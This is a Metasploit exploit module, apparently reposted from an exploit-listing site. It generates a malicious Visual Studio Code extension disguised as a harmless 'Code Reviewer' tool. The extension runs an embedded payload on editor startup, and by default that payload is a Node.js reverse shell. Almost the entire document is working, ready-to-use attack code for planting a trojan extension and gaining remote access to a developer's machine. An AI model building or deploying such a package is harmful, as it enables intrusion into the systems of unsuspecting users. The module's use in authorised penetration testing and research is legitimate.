Share
## https://sploitus.com/exploit?id=1337DAY-ID-39584
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Visual Studio vsix Extension Exec',
        'Description' => %q{
          Creates a vsix file which can be installed in Visual Studio Code as an extension.
          At activation/install, the extension will execute a shell or two.

          Tested against VSCode 1.87.2 on Ubuntu 22.04
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # Metasploit module
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => false,
          'FILENAME' => 'extension.vsix',
          'WfsDelay' => 3_600, # 1hr
          'payload' => 'nodejs/shell_reverse_tcp' # cross platform
        },
        'Platform' => 'nodejs',
        'Arch' => ARCH_NODEJS,
        'Targets' => [
          ['Automatic', {}],
        ],
        'References' => [
          ['URL', 'https://medium.com/@VakninHai/the-hidden-risks-of-visual-studio-extensions-a-new-avenue-for-persistence-attacks-e56722c048f1'], # similar idea
          ['URL', 'https://code.visualstudio.com/api/get-started/your-first-extension'],
          ['URL', 'https://code.visualstudio.com/api/references/activation-events'] # onStartup Action
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        },
        'Privileged' => false,
        'DisclosureDate' => '2024-03-22' # date of development
      )
    )

    register_options([
      OptString.new('NAME', [true, 'The name of the extension', 'Code Reviewer']),
      OptString.new('DESCRIPTION', [true, 'The description of the extension', 'Reviews code']),
      OptString.new('VERSION', [true, 'The version of the extension', '0.0.1']),
      OptString.new('README', [false, 'The readme contents for the extension', '']),
    ])
  end

  def name
    datastore['NAME']
  end

  def description
    datastore['DESCRIPTION']
  end

  def version
    datastore['VERSION']
  end

  def readme
    datastore['README']
  end

  def manifest
    %(<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011">
  <Metadata>
    <Identity Language="en-US" Id="extension-name-fillmein" Version="#{version}" Publisher="#{Rex::Text.rand_text_alpha(10)}" />
    <DisplayName>#{name}</DisplayName>
    <Description xml:space="preserve">#{description}</Description>
    <Tags></Tags>
    <GalleryFlags>Public</GalleryFlags>

    <Properties>
      <Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.60.0" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionPack" Value="" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionKind" Value="workspace" />
      <Property Id="Microsoft.VisualStudio.Code.LocalizedLanguages" Value="" />
      <Property Id="Microsoft.VisualStudio.Services.GitHubFlavoredMarkdown" Value="true" />
      <Property Id="Microsoft.VisualStudio.Services.Content.Pricing" Value="Free"/>
    </Properties>
  </Metadata>
  <Installation>
    <InstallationTarget Id="Microsoft.VisualStudio.Code"/>
  </Installation>
  <Dependencies/>
  <Assets>
    <Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />
  </Assets>
</PackageManifest>)
  end

  def extension_js
    %|const vscode = require('vscode');

function activate(context) {
  #{payload.encoded}
}

function deactivate() {}

module.exports = {
  activate,
  deactivate
}
|
  end

  def package_json
    %({
  "name": "#{name.gsub(' ', '.')}",
  "displayName": "#{name}",
  "description": "#{description}",
  "version": "#{version}",
  "publisher":"#{Rex::Text.rand_name}",
  "engines": {
    "vscode": "^1.60.0"
  },
  "activationEvents": ["onStartupFinished"],
  "main": "./extension.js",
  "devDependencies": {
    "@types/vscode": "^1.60.0"
  }
}
)
  end

  def exploit
    # Create malicious vsix (zip archive) containing our exploit
    files =
      [
        { data: manifest, fname: 'extension.vsixmanifest' },
        { data: extension_js, fname: 'extension/extension.js' },
        { data: package_json, fname: 'extension/package.json' },
        { data: readme, fname: 'extension/README.md' }, # not required, but looks a little more official
      ]

    zip = Msf::Util::EXE.to_zip(files)

    file_create(zip)
    print_status('Waiting for shell')
  end
end